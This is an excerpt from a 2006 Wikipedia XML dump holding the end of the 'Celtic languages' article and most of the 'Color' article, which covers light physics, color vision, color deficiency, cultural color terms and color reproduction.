#{{note|Pictish}} The late Kenneth Jackson proposed a non-Indo-European Pictish language existing alongside a ''Pretenic'' one. This is no longer generally accepted. See Katherine Forsyth's ''&quot;Language in Pictland : the case against 'non-Indo-European Pictish'&quot; '' [http://eprints.gla.ac.uk/archive/00002081/01/languagepictland.pdf Etext (pdf file)]. See also the introduction by James &amp; Taylor to the ''&quot;Index of Celtic and Other Elements in W.J.Watson's 'The History of the Celtic Place-names of Scotland'&quot;'' [http://www.st-andrews.ac.uk/institutes/sassi/spns/INDEX2INTRO.pdf Etext (pdf file)]. Compare also the  treatment of Pictish in Price's ''The Languages of Britain'' (1984) with his ''Languages in Britain &amp; Ireland'' (2000). 


[[Category:Indo-European languages]]
[[Category:Celtic languages| ]]

[[als:Keltische Sprachen]]
[[ast:Llingües céltiques]]
[[az:Kelt qrupu]]
[[bs:Keltski jezici]]
[[ca:Llengües celtes]]
[[cs:Keltské jazyky]]
[[da:Keltiske sprog]]
[[de:Keltische Sprachen]]
[[es:Lenguas celtas]]
[[eo:Kelta lingvaro]]
[[fa:زبان سلتی]]
[[fr:Langue celtique]]
[[he:שפות קלטיות]]
[[kw:Keltek]]
[[lt:Keltų kalbos]]
[[hu:Kelta nyelvek]]
[[nl:Keltische talen]]
[[ja:ケルト語派]]
[[no:Keltiske språk]]
[[oc:Lengas celticas]]
[[pl:Języki celtyckie]]
[[pt:Línguas celtas]]
[[ro:Limbile celtice]]
[[ru:Кельтские языки]]
[[sl:Keltski jeziki]]
[[fi:Kelttiläiset kielet]]
[[se:Kelttalaš gielat]]
[[sv:Keltiska språk]]
[[vi:Nhóm ngôn ngữ gốc Celt]]
[[wa:Gayel]]
[[zh:凯尔特语族]]</text>
    </revision>
  </page>
  <page>
    <title>Color</title>
    <id>5921</id>
    <revision>
      <id>41947472</id>
      <timestamp>2006-03-02T20:39:49Z</timestamp>
      <contributor>
        <username>Booyabazooka</username>
        <id>4880</id>
      </contributor>
      <minor />
      <comment>/* Color perception */  links</comment>
      <text xml:space="preserve">&lt;!-- Please do not change the spelling of color to colour. Wikipedia policy is to
leave the English variation alone in this case, not to have a war about versions of English. You would also break the links and categories. Changing the spelling will be treated as vandalism, and for this reason will be swiftly reverted. Please see the discussion page if you want to comment. --&gt;{{otheruses}}
[[Image:Colored pencils.jpg|300px|thumb|Color is an important part of the [[visual art]]s.]]
'''Color''' or '''colour''' {{ref|cwe}} is the [[perception]] of the [[frequency]] (or [[wavelength]]) of [[light]], and can be compared to how [[Pitch (music)|pitch]] (or a [[music]]al [[note]]) is the perception of the frequency or wavelength of [[sound]]. 

It is a perception that, in [[human]]s, derives from the ability of the [[cone cell|fine structures]] of the [[eye]] to provide the brain with differently filtered analyses of a view (usually three). The perception of color is influenced by biology (some people are born seeing colors differently or not at all; see [[color blindness]]), long-term history of the observer, and also by short-term effects such as the colors nearby. (This is the basis of many [[optical illusion]]s.)

The science of color is sometimes called '''chromatics'''. It includes the perception of color by the human [[eye]], the origin of color in materials, [[color theory]] in [[art]], and the [[physics]] of color in the [[electromagnetic spectrum]].

== Physics of color ==
&lt;div class=floatright style=&quot;margin-left: 1em;&quot;&gt;
The colors of the visible light spectrum.&lt;br&gt;
&lt;table border=&quot;0&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot;&gt; 
&lt;tr&gt;
&lt;th&gt;color&lt;/th&gt;
&lt;th&gt;wavelength interval&lt;/th&gt;
&lt;th&gt;frequency interval&lt;/th&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[red]]&lt;/td&gt;
&lt;td style=&quot;background:#DF0000; color:white; text-align:center;&quot;&gt;~ 625-740 nm&lt;/td&gt;
&lt;td style=&quot;background:#DF0000; color:white; text-align:center;&quot;&gt;~ 480-405 THz&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[orange (color)|orange]]&lt;/td&gt;
&lt;td style=&quot;background:#FF8000; color:white; text-align:center;&quot;&gt;~ 590-625 nm&lt;/td&gt;
&lt;td style=&quot;background:#FF8000; color:white; text-align:center;&quot;&gt;~ 510-480 THz&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[yellow]]&lt;/td&gt;
&lt;td style=&quot;background:#FFFF00; color:black; text-align:center;&quot;&gt;~ 565-590 nm&lt;/td&gt;
&lt;td style=&quot;background:#FFFF00; color:black; text-align:center;&quot;&gt;~ 530-510 THz&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[green]]&lt;/td&gt;
&lt;td style=&quot;background:#00FF00; color:black; text-align:center;&quot;&gt;~ 500-565 nm&lt;/td&gt;
&lt;td style=&quot;background:#00FF00; color:black; text-align:center;&quot;&gt;~ 600-530 THz&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[cyan]]&lt;/td&gt;
&lt;td style=&quot;background:#00E0E0; color:black; text-align:center;&quot;&gt;~ 485-500 nm&lt;/td&gt;
&lt;td style=&quot;background:#00E0E0; color:black; text-align:center;&quot;&gt;~ 620-600 THz&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[blue]]&lt;/td&gt;
&lt;td style=&quot;background:#0000FF; color:white; text-align:center;&quot;&gt;~ 440-485 nm&lt;/td&gt;
&lt;td style=&quot;background:#0000FF; color:white; text-align:center;&quot;&gt;~ 680-620 THz&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[violet (color)|violet]]&lt;/td&gt;
&lt;td style=&quot;background:#50007F; color:white; text-align:center;&quot;&gt;~ 380-440 nm&lt;/td&gt;
&lt;td style=&quot;background:#50007F; color:white; text-align:center;&quot;&gt;~ 790-680 THz&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td colspan=&quot;3&quot; style=&quot;text-align: center;&quot;&gt;
Continuous optical spectrum&lt;br&gt;
[[Image:Spectrum441pxWithnm.png]]&lt;br&gt;&lt;small&gt;''Designed for monitors with [[gamma correction|gamma]] 1.5.''&lt;/small&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td colspan=&quot;3&quot; style=&quot;text-align: center;&quot;&gt;
Computer &quot;spectrum&quot;&lt;br&gt;
[[Image:Computerspectrum.png]]&lt;br&gt;&lt;small&gt;''The bars below show the relative intensities of the three&lt;br/&gt;colors mixed to make the color immediately above.''&lt;/small&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;div class=floatright&gt;
Color, wavelength, frequency, and energy of light.&lt;br&gt;
&lt;table border=&quot;0&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot;&gt; 
&lt;tr&gt;
&lt;th&gt;Color&lt;/th&gt;
&lt;th&gt;&lt;math&gt;\lambda \,\!&lt;/math&gt;/nm&lt;/th&gt;
&lt;th&gt;&lt;math&gt;\nu \,\!&lt;/math&gt;/10&lt;sup&gt;14&lt;/sup&gt; Hz&lt;/th&gt;
&lt;th&gt;&lt;math&gt;\nu_b \,\!&lt;/math&gt;/10&lt;sup&gt;4&lt;/sup&gt; cm&lt;sup&gt;-1&lt;/sup&gt;&lt;/th&gt;
&lt;th&gt;&lt;math&gt;E \,\!&lt;/math&gt;/eV&lt;/th&gt;
&lt;th&gt;&lt;math&gt;E \,\!&lt;/math&gt;/kJ mol&lt;sup&gt;-1&lt;/sup&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Infrared&lt;/td&gt;
&lt;td text-align:right&gt;&gt;1000&lt;/td&gt;
&lt;td style=&quot;text-align:right;&quot;&gt;&lt;3.00&lt;/td&gt;
&lt;td style=&quot;text-align:right;&quot;&gt;&lt;1.00&lt;/td&gt;
&lt;td style=&quot;text-align:right;&quot;&gt;&lt;1.24&lt;/td&gt;
&lt;td style=&quot;text-align:right;&quot;&gt;&lt;120&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Red&lt;/td&gt;
&lt;td style=&quot;text-align:right;&quot;&gt;700&lt;/td&gt;
&lt;td style=&quot;text-align:right;&quot;&gt;4.28&lt;/td&gt;
&lt;td style=&quot;text-align:right;&quot;&gt;1.43&lt;/td&gt;
&lt;td style=&quot;text-align:right;&quot;&gt;1.77&lt;/td&gt;
&lt;td style=&quot;text-align:right;&quot;&gt;171&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Orange&lt;/td&gt;
&lt;td style=&quot;text-align:right;&quot;&gt;620&lt;/td&gt;
&lt;td style=&quot;text-align:right;&quot;&gt;4.84&lt;/td&gt;
&lt;td style=&quot;text-align:right;&quot;&gt;1.61&lt;/td&gt;
&lt;td style=&quot;text-align:right;&quot;&gt;2.00&lt;/td&gt;
&lt;td style=&quot;text-align:right;&quot;&gt;193&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Yellow&lt;/td&gt;
&lt;td style=&quot;text-align:right;&quot;&gt;580&lt;/td&gt;
&lt;td style=&quot;text-align:right;&quot;&gt;5.17&lt;/td&gt;
&lt;td style=&quot;text-align:right;&quot;&gt;1.72&lt;/td&gt;
&lt;td style=&quot;text-align:right;&quot;&gt;2.14&lt;/td&gt;
&lt;td style=&quot;text-align:right;&quot;&gt;206&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Green&lt;/td&gt;
&lt;td style=&quot;text-align:right;&quot;&gt;530&lt;/td&gt;
&lt;td style=&quot;text-align:right;&quot;&gt;5.66&lt;/td&gt;
&lt;td style=&quot;text-align:right;&quot;&gt;1.89&lt;/td&gt;
&lt;td style=&quot;text-align:right;&quot;&gt;2.34&lt;/td&gt;
&lt;td style=&quot;text-align:right;&quot;&gt;226&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Blue&lt;/td&gt;
&lt;td style=&quot;text-align:right;&quot;&gt;470&lt;/td&gt;
&lt;td style=&quot;text-align:right;&quot;&gt;6.38&lt;/td&gt;
&lt;td style=&quot;text-align:right;&quot;&gt;2.13&lt;/td&gt;
&lt;td style=&quot;text-align:right;&quot;&gt;2.64&lt;/td&gt;
&lt;td style=&quot;text-align:right;&quot;&gt;254&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Violet&lt;/td&gt;
&lt;td style=&quot;text-align:right;&quot;&gt;420&lt;/td&gt;
&lt;td style=&quot;text-align:right;&quot;&gt;7.14&lt;/td&gt;
&lt;td style=&quot;text-align:right;&quot;&gt;2.38&lt;/td&gt;
&lt;td style=&quot;text-align:right;&quot;&gt;2.95&lt;/td&gt;
&lt;td style=&quot;text-align:right;&quot;&gt;285&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Near ultraviolet&lt;/td&gt;
&lt;td style=&quot;text-align:right;&quot;&gt;300&lt;/td&gt;
&lt;td style=&quot;text-align:right;&quot;&gt;10.0&lt;/td&gt;
&lt;td style=&quot;text-align:right;&quot;&gt;3.33&lt;/td&gt;
&lt;td style=&quot;text-align:right;&quot;&gt;4.15&lt;/td&gt;
&lt;td style=&quot;text-align:right;&quot;&gt;400&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Far ultraviolet&lt;/td&gt;
&lt;td style=&quot;text-align:right;&quot;&gt;&lt;200&lt;/td&gt;
&lt;td style=&quot;text-align:right;&quot;&gt;&gt;15.0&lt;/td&gt;
&lt;td style=&quot;text-align:right;&quot;&gt;&gt;5.00&lt;/td&gt;
&lt;td style=&quot;text-align:right;&quot;&gt;&gt;6.20&lt;/td&gt;
&lt;td style=&quot;text-align:right;&quot;&gt;&gt;598&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;!--no empty line here--&gt;
[[Electromagnetic radiation]] is characterized by its [[wavelength]] (or [[frequency]]) and the intensity or number of [[photons]] at each different wavelength. When this radiation has a wavelength inside the human visibility range (approximately from 380 [[nanometre|nm]] to 740 nm), it is known as &quot;visible light&quot; or ''light within the (human) [[visible spectrum]]''.  A ''spectrum'' is a plot that records the intensity at each wavelength.  The full spectrum (or distribution of color intensities) of the incoming radiation from an object determines the visual appearance of that object, including its perceived color. As we will see, there are many more possible spectral combinations than color sensations; in fact one may formally define a color to be the whole class of spectra which give rise to the same color sensation, although any such definition would vary widely among different species and also somewhat among individuals intraspecifically.

When light is incident on a surface it can either reflect, absorb or scatter. Smooth surfaces reflect and rough surfaces cause diffuse [[scattering]]. A surface that diffusely [[Reflection (physics)|reflects]] all wavelengths equally is perceived as [[white]], while a surface that absorbs all wavelengths equally is perceived as [[black]]. Reflection can be diffuse or specular (like a [[mirror]]) and a proper mirror also reflects all wavelengths equally, but is not perceived as white because it is smooth.  Similarly, a black object can reflect (be shiny) because of a smooth finish.

The familiar colors of the [[rainbow]] in the [[Optical spectrum|spectrum]]&amp;mdash;named from the [[Latin]] word for ''appearance'' or ''apparition'' by [[Isaac Newton]] in [[1671]]&amp;mdash;contains all those colors that consist of visible light of a single wavelength only, the ''pure spectral'' or ''monochromatic'' colors.

The frequencies are approximations and given in [[hertz|terahertz]] (THz). The wavelengths, valid in [[vacuum]], are given in [[nanometre|nanometers]] (nm). A list of [[1 E-7 m|other objects of similar size]] is available.

===Important note===
The color table should not be interpreted as a definite list &amp;ndash; the pure spectral colors form a continuous spectrum, and how it is divided into distinct colors is a matter of taste and culture.

Similarly, the ''intensity'' of a spectral color may alter its perception considerably; for example, a low-intensity orange-yellow is [[brown]], and a low-intensity yellow-green is olive-green.

=== Spectral versus non-spectral colors ===
Most light sources are not pure spectral sources; rather they are created from mixtures of various wavelengths and intensities of light. To the human eye, however, there is a wide class of mixed-spectrum light that is perceived the same as a pure spectral color.  In the table above, for instance, when your [[computer]] screen is displaying the &quot;orange&quot; patch, it is ''not'' emitting pure light at a fixed wavelength of around 600 nm (which is something most computer screens are unable to do). Rather, it is emitting a mixture of about two parts red to one part green light. Were you to print this page on a color printer, the orange patch on the paper, when lit with white light, would reflect yet another, more continuous spectrum. We cannot see those differences (although many animals can), and the reason has to do with the pigments that make up our color vision cells (see below).

A useful quantification of this property is the [[dominant wavelength]], which matches a wavelength of spectral light to a non-spectral source that evokes the same color perception. Dominant wavelength is the formal background for the popular concept of [[hue]].

In addition to the many light sources that can appear to be pure spectral colors but are actually mixtures, there are many color perceptions that by definition cannot be pure spectral colors due to desaturation or because they are purples (which are a mixture of red and violet light, from either end of the spectrum). Some examples of necessarily non-spectral colors are the achromatic colors (black, gray and white) and other colors such as [[pink]], tan and [[magenta]].

See [[metamerism (color)]] for a basic introduction as to why color matching challenges exist.

=== Physical basis of color ===
A light wave can be [[Fourier transform|analyzed]] as a superposition of sine waves, each of which has a specific frequency and wavelength. The eye gives limited information about the relative intensities of these sine waves (but not their phases — the eye is even more blind to phase than the ear, which can detect phase relationships of sounds only in certain very specific contexts). To understand which particular color perception will arise from a particular physical spectrum requires knowledge of the physiology of the retina. The human eye is also insensitive to [[polarization]] in most cases (though see [[Haidinger's brush]]), whereas some fish and [[mollusks]] can perceive it.

== Color vision ==
{{main|Color vision}}
Though the exact status of color is certainly a matter of current philosophical dispute, color is arguably a [[psychophysical]] phenomenon that exists only in our minds. (See [[Qualia]], for some of that dispute.) A &quot;red&quot; apple does not give off &quot;red light&quot;, and it is misleading to think of things that we see, or of light itself, as objectively colored at all. Rather, the apple simply absorbs light of various wavelengths shining on it to different degrees, in such a way that the unabsorbed light which it reflects is perceived as red. An apple is ''perceived'' to be red only because normal human [[color vision]] perceives light with different mixes of wavelengths differently&amp;mdash;and we have [[language]] to describe that difference. [[Image:psychophysical.png|left|thumb]] In 1931, an international group of experts called the Commission Internationale d'Eclairage ([[International Commission on Illumination|CIE]]) developed a mathematical color model. The premise used by the CIE is that color is the combination of three things: a light source, an object, and an observer. The CIE tightly controlled each of these variables in an experiment that produced the measurements for the system. 
Although [[Aristotle]] and other ancient scientists speculated on the nature of [[light]] and [[color vision]], it was not until [[Isaac Newton|Newton]] that light was correctly identified as the source of the color sensation. [[Johann Wolfgang von Goethe|Goethe]] studied the theory of colors, and in 1801 [[Thomas Young (scientist)|Thomas Young]] proposed his trichromatic theory which was later refined by [[Hermann von Helmholtz]]. That theory was confirmed in the 1960s and will be described below.

[[Image:Cone-response.png|thumb|300px|right|Normalized typical human cone responses (and the rod response) to monochromatic spectral stimuli]]

The [[retina]] of the human eye contains three different types of color receptor cells, or [[cone cell|cones]]. One type, relatively distinct from the other two, is most responsive to light that we perceive as violet, with wavelengths around 420 [[nm]] (cones of this type are sometimes called ''short-wavelength cones'', ''S cones'', or, most commonly but quite misleadingly, ''blue cones'').
The other two types are closely related genetically, chemically and in response. Each type is most responsive to light that we perceive as green or greenish. One of these types (sometimes called ''long-wavelength cones'', ''L cones'', or, misleadingly, ''red cones'') is most sensitive to light we perceive as yellowish-green, with wavelengths around 564 nm; the other type (sometimes called ''middle-wavelength cones'', ''M cones'', or misleadingly ''green cones'') is most sensitive to light perceived as green, with wavelengths around 534 nm.  The term &quot;red cones&quot; for the long-wavelength cones is deprecated as this type is actually maximally responsive to light we perceive as greenish, albeit longer wavelength light than that which maximally excites the mid-wavelength/&quot;green&quot; cones.

The sensitivity curves of the cones are roughly bell-shaped, and overlap considerably. The incoming signal spectrum is thus reduced by the eye to three values, sometimes called ''tristimulus values'', representing the intensity of the response of each of the cone types.

Because of the overlap between the sensitivity ranges, some combinations of responses in the three types of cone are impossible no matter what light stimulation is used. For example, it is not possible to stimulate ''only'' the mid-wavelength/&quot;green&quot; cones: the other cones must be stimulated to some degree at the same time, even if light of some single wavelength is used (including that to which the target cones are maximally sensitive). The set of all possible tristimulus values determines the human ''color space''.  It has been estimated that humans can distinguish roughly 10 million different colors, although the identification of a specific color is highly subjective, since even the two eyes of a single individual perceive colors slightly differently.  This is discussed in more detail below.

The rod system (which vision in very low light relies on exclusively) does not by itself sense differences in wavelength; therefore it is not normally implicated in color vision. But experiments have conclusively shown that in certain marginal conditions a combination of rod stimulation and cone stimulation can result in color discriminations not based on the mechanisms described above.

While the mechanisms of color vision at the level of the cones in the retina are well described in terms of tristimulus values (see above), color processing and perception above that base level are organized differently. A dominant theory of the higher neural mechanisms of color vision proposes three [[opponent processes]], or opponent channels, constructed out of the raw input from the cones: a red-green channel, a blue-yellow channel, and a black-white (&quot;luminance&quot;) channel. This theory tries to account for the structure of our subjective color experience (see discussion below). Blue and yellow are considered [[complementary color]]s, or ''opposites'': you could not experience a bluish yellow (or a greenish red), any more than you could experience a dark brightness or a hot coldness. The four &quot;polar&quot; colors proposed as extremes in the two opponent processes other than black-white have some natural claim to being called ''primary colors''. This is in competition with various sets of ''three'' primary colors proposed as &quot;generators&quot; of all normal human color experience (see below).

=== Clinical issues ===
If one or more types of a person's color-sensing cones are missing or less responsive than normal to incoming light, that person has a smaller or skewed color space and is said to be ''color deficient''.  Another term frequently used is [[color blindness|color blind]], although this can be misleading; only a small fraction of color deficient individuals actually see completely in black and white, and most simply have anomalous color perception. Some kinds of color deficiency are caused by anomalies in the number or nature of cones of the various types, as just described. Others (like ''central'' or ''cortical'' ''achromatopsia'') are caused by neural anomalies in those parts of the brain where visual processing takes place.

Some animals may have more than three different types of color receptor (most  [[marsupial]]s, [[aves|birds]], [[reptiles]], and [[fish]]; see ''tetrachromat'', below) or fewer (most [[mammal]]s; these are called ''dichromats'' and ''monochromats''). Humans and other old-world [[primate]]s are actually rather unusual in possessing three kinds of receptors.

An unusual and elusive neurological condition sometimes affecting color perception is [[synaesthesia]].

===Tetrachromat===
A normal human is a trichromat (from Greek: tri=three, chroma=color). In theory it may be possible for a person to have four, rather than three, distinct types of cone cell. If these four types are sufficiently distinct in spectral sensitivity and the neural processing of the input from the four types is developed, a person may be a [[tetrachromat]] (tetra=four). Such a person might have an extra and slightly different copy of either the medium- or long-wave cones.  It is not clear whether such people exist or that the human brain could actually process the information from such an extra cone type separately from the standard three.
However, strong evidence suggests that such people do exist, they are all female by genetic imperative, and their brains gladly adapt to use the additional information. For many species, tetrachromacy is the normal case, although the cone cells of animal tetrachromats have a very different (more evenly-spaced) spectral sensitivity distribution than those of possible human tetrachromats.

==Color perception==
There is an interesting phenomenon which occurs when an artist uses a limited [[color palette]]: the [[eye]] tends to compensate by seeing any grey or neutral color as the color which is missing from the color wheel. E.g.: in a limited palette consisting of red, yellow, black, and white, a mixture of yellow and black will appear as a variety of green, a mixture of red and black will appear as a variety of purple, and pure grey will appear bluish.

When the eye shifts attention after viewing a color for some time, then an [[afterimage]] of the [[complementary color|complement]] of that color (the color opposite to it in the color wheel) is perceived by the eye for some time wherever it moves. This effect of color perception was utilised by [[Vincent van Gogh]], a [[Post-Impressionism|Post-Impressionist]] painter.

=== Effect of luminosity ===
Note that the color experience of a given light mixture may vary with absolute [[luminosity]], because both rods and cones are active at once in the eye, with each having different color curves, and rods taking over gradually from cones as the brightness of the scene is reduced. This effect leads to a change in color rendition with absolute illumination levels that can be summarised in the &quot;[[Kruithof curve]]&quot;.

=== Cultural influences ===
Different cultures have different terms for colors, and may also assign some [[color name]]s to slightly different parts of the spectrum: for instance, the [[Han character|han character]] &amp;#38738; (pronounced ''q&amp;#299;ng'' in [[Standard Mandarin|Mandarin]] and ''ao'' in [[Japanese language|Japanese]]) has a meaning that covers both blue and green; blue and green are traditionally considered shades of &amp;#38738;; In more contemporary terms, they are 藍 (lán) and 綠 (lǜ) respectively.

Similarly, languages are selective when deciding which hues are split into different colors on the basis of how light or dark they are.  Apart from the black-grey-white continuum, English splits some hues into several distinct colors according to lightness: such as red and pink or orange and brown.  To English speakers, these pairs of colors, which are objectively no more different than light green and dark green, are conceived as totally different.  A Russian will make the same red-pink and orange-brown distinctions, but will also make a further distinction between ''sinij'' and ''goluboj'', which English speakers would simply call dark and light blue.  To Russian speakers, ''sinij'' and ''goluboj'' are as separate as red and pink or orange and brown.

Color terms evolve. It is argued that there are a limited number of universal &quot;basic color terms&quot; which begin to be used by individual cultures in a relatively fixed order. For example, a culture would start with only two terms, meaning roughly 'dark' (covering black, dark colors and cold colors such as blue ) and 'bright' (covering white, light colors and warm colors such as red), before adding more specific color names, in the order of red; green and/or yellow; blue; brown; and orange, pink, purple, and/or gray. Older arguments for this theory also stipulated that the acquisition and use of basic color terms further along the evolutionary order indicated a more complex culture with more highly developed technology.

A somewhat dated example of a universal color categories theory is ''Basic Color Terms: Their Universality and Evolution'' (1969) by [[Brent Berlin]] and [[Paul Kay]]. A more recent example of a linguistic determinism theory might be ''Is color categorisation universal? New evidence from a stone-age culture'' (1999) by [[Jules Davidoff]] et al.  The idea of linguistically determined color categories is often used as evidence for the [[Sapir-Whorf hypothesis]] (''Language, Thought, and Reality'' (1956) by [[Benjamin Lee Whorf]]).

Additionally, different colors are often associated with different emotional states, values, or groups, but these associations can vary between cultures.  In one system, red is considered to motivate action; orange and purple are related to spirituality; yellow cheers; green creates cosiness and warmth; blue relaxes; and white is associated with either purity or death.  These associations are described more fully in the individual color pages, and under [[color psychology]].

See also: [[National colors]]

=== Color constancy ===
The trichromatric theory discussed above is strictly true only if the whole scene seen by the eye is of one and the same color, which of course is unrealistic. In reality, the brain compares the various colors in a scene, in order to eliminate the effects of the illumination. If a scene is illuminated with one light, and then with another, as long as the difference between the light sources stays within a reasonable range, the colors of the scene will nevertheless appear constant to us. This was studied by [[Edwin Land]] in the [[1970s]] and led to his retinex theory of [[color constancy]].

===Contrast===
'''Note:''' the following comparison requires an all-digital display setup (commonly, a [[laptop]] or [[Digital Visual Interface|DVI]]-connected [[LCD]]) to avoid errors caused by an unfortunate interaction between [[frequency response]] and [[Gamma_correction|gamma curves]].

Compare the visibility of the RGB primary and secondary colors against a white background:

&lt;table style=&quot;margin-left:2em;&quot;&gt;&lt;tr&gt;
&lt;td style=&quot;background:#ffffff; color:#FF0000; padding:5px;&quot;&gt;red&lt;/td&gt;
&lt;td style=&quot;background:#ffffff; color:#00FF00; padding:5px;&quot;&gt;green&lt;/td&gt;
&lt;td style=&quot;background:#ffffff; color:#0000FF; padding:5px;&quot;&gt;blue&lt;/td&gt;
&lt;td style=&quot;background:#ffffff; color:#FFFF00; padding:5px;&quot;&gt;red+green&lt;/td&gt;
&lt;td style=&quot;background:#ffffff; color:#00FFFF; padding:5px;&quot;&gt;green+blue&lt;/td&gt;
&lt;td style=&quot;background:#ffffff; color:#FF00FF; padding:5px;&quot;&gt;red+blue&lt;/td&gt;
&lt;td style=&quot;background:#ffffff; color:#FFFFFF; padding:5px;&quot;&gt;red+green+blue&lt;/td&gt;
&lt;td style=&quot;background:#ffffff; color:#000000; padding:5px;&quot;&gt;zero light&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

Again, compare variations on gray backgrounds&amp;mdash;#7f7f7f, #5f5f5f &amp; #9f9f9f&amp;mdash;the eight RGB primaries are equidistant from #7f7f7f in a 3-d geometrical representation of RGB color space&amp;mdash;a reminder of the importance of [[background color]] for [[color perception]].

Background = #7f7f7f

&lt;table style=&quot;margin-left:2em;&quot;&gt;&lt;tr&gt;
&lt;td style=&quot;background:#7f7f7f; color:#FF0000; padding:5px;&quot;&gt;red&lt;/td&gt;
&lt;td style=&quot;background:#7f7f7f; color:#00FF00; padding:5px;&quot;&gt;green&lt;/td&gt;
&lt;td style=&quot;background:#7f7f7f; color:#0000FF; padding:5px;&quot;&gt;blue&lt;/td&gt;
&lt;td style=&quot;background:#7f7f7f; color:#FFFF00; padding:5px;&quot;&gt;red+green&lt;/td&gt;
&lt;td style=&quot;background:#7f7f7f; color:#00FFFF; padding:5px;&quot;&gt;green+blue&lt;/td&gt;
&lt;td style=&quot;background:#7f7f7f; color:#FF00FF; padding:5px;&quot;&gt;red+blue&lt;/td&gt;
&lt;td style=&quot;background:#7f7f7f; color:#FFFFFF; padding:5px;&quot;&gt;red+green+blue&lt;/td&gt;
&lt;td style=&quot;background:#7f7f7f; color:#000000; padding:5px;&quot;&gt;zero light&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;


And let's look at black again, for completeness. (Note that your [[computer display|monitor]] background probably is not perfectly black, as you can see by switching off the monitor.)

Background = #000000

&lt;table style=&quot;margin-left:2em;&quot;&gt;&lt;tr&gt;
&lt;td style=&quot;background:#000000; color:#FF0000; padding:5px;&quot;&gt;red&lt;/td&gt;
&lt;td style=&quot;background:#000000; color:#00FF00; padding:5px;&quot;&gt;green&lt;/td&gt;
&lt;td style=&quot;background:#000000; color:#0000FF; padding:5px;&quot;&gt;blue&lt;/td&gt;
&lt;td style=&quot;background:#000000; color:#FFFF00; padding:5px;&quot;&gt;red+green&lt;/td&gt;
&lt;td style=&quot;background:#000000; color:#00FFFF; padding:5px;&quot;&gt;green+blue&lt;/td&gt;
&lt;td style=&quot;background:#000000; color:#FF00FF; padding:5px;&quot;&gt;red+blue&lt;/td&gt;
&lt;td style=&quot;background:#000000; color:#FFFFFF; padding:5px;&quot;&gt;red+green+blue&lt;/td&gt;
&lt;td style=&quot;background:#000000; color:#000000; padding:5px;&quot;&gt;zero light&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

== Measurement and reproduction of color ==
[[Image:Sunset02.jpg|thumb|250px|A color photo of a sunset]]
Two different light spectra which have the same effect on the three color receptors in the human eye will be perceived as the same color. This is exemplified by the white light that is emitted by fluorescent lamps, which typically has a spectrum consisting of a few narrow bands, while daylight has a continuous spectrum. The human eye cannot tell the difference between such light spectra just by looking into the light source, although reflected colors from objects can look different. (This is often exploited e.g. to make [[fruit]] or [[tomato]]es look more brightly red in shops.)

Similarly, most human color perceptions can be generated by a mixture of three colors called ''primaries''.  This is used to reproduce color scenes in photography, printing, television, and other media. There are a number of methods or [[color space]]s for specifying a color in terms of three particular primary colors. Each method has its advantages and disadvantages depending on the particular application.

No mixture of colors, though, can produce a fully pure color perceived as completely identical to a spectral color, although one can get very close for the longer wavelengths, where the [[CIE XYZ color space|chromaticity diagram]] above has a nearly straight edge. For example, mixing green light (530 nm) and blue light (460 nm) produces cyan light that is slightly desaturated, because response of the red color receptor would be greater to the green and blue light in the mixture than it would be to a pure cyan light at 485 nm that has the same intensity as the mixture of blue and green.

Because of this, and because the ''primaries'' in [[color printing]] systems generally are not pure themselves, the colors reproduced are never perfectly saturated colors, and so spectral colors cannot be matched exactly. However, natural scenes rarely contain fully saturated colors, thus such scenes can usually be approximated well by these systems. The range of colors that can be reproduced with a given color reproduction system is called the [[gamut]]. The [[International Commission on Illumination|CIE]] chromaticity diagram can be used to describe the gamut.

Another problem with color reproduction systems is connected with the acquisition devices, like cameras or scanners. The characteristics of the color sensors in the devices are often very far from the characteristics of the receptors in the human eye. In effect, acquisition of colors that have some special, often very &quot;jagged&quot;, spectra caused for example by unusual lighting of the photographed scene can be relatively poor.

Species that have color receptors different from humans, e. g. [[bird]]s that may have four receptors, can differentiate some colors that look the same to a human. In such cases, a color reproduction system `tuned' to a human with normal color vision may give very inaccurate results for the other observers.

The next problem is different color response of different devices. For color information stored and transferred in a digital form, [[color management]] technique based on [[color management|color profiles]] attached to color data and to devices with different color response helps to avoid deformations of the reproduced colors. The technique works only for colors in [[gamut]] of the particular devices, e.g. it can still happen that your monitor is not able to show you real color of your goldfish even if your camera can receive and store the color information properly and vice versa. 

=== Pigments and reflective media ===
When producing a color print or painting a surface, the applied paint changes the surface; if the surface is then illuminated with [[white]] light (which consists of equal intensities of all visible wavelengths), the reflected light will have a spectrum corresponding to the desired color. If a dab of paint looks red in white light, that is because the reflection of all non-red wavelengths is interrupted by the pigment, such that only red light is reflected into one's eye.

=== Structural color ===
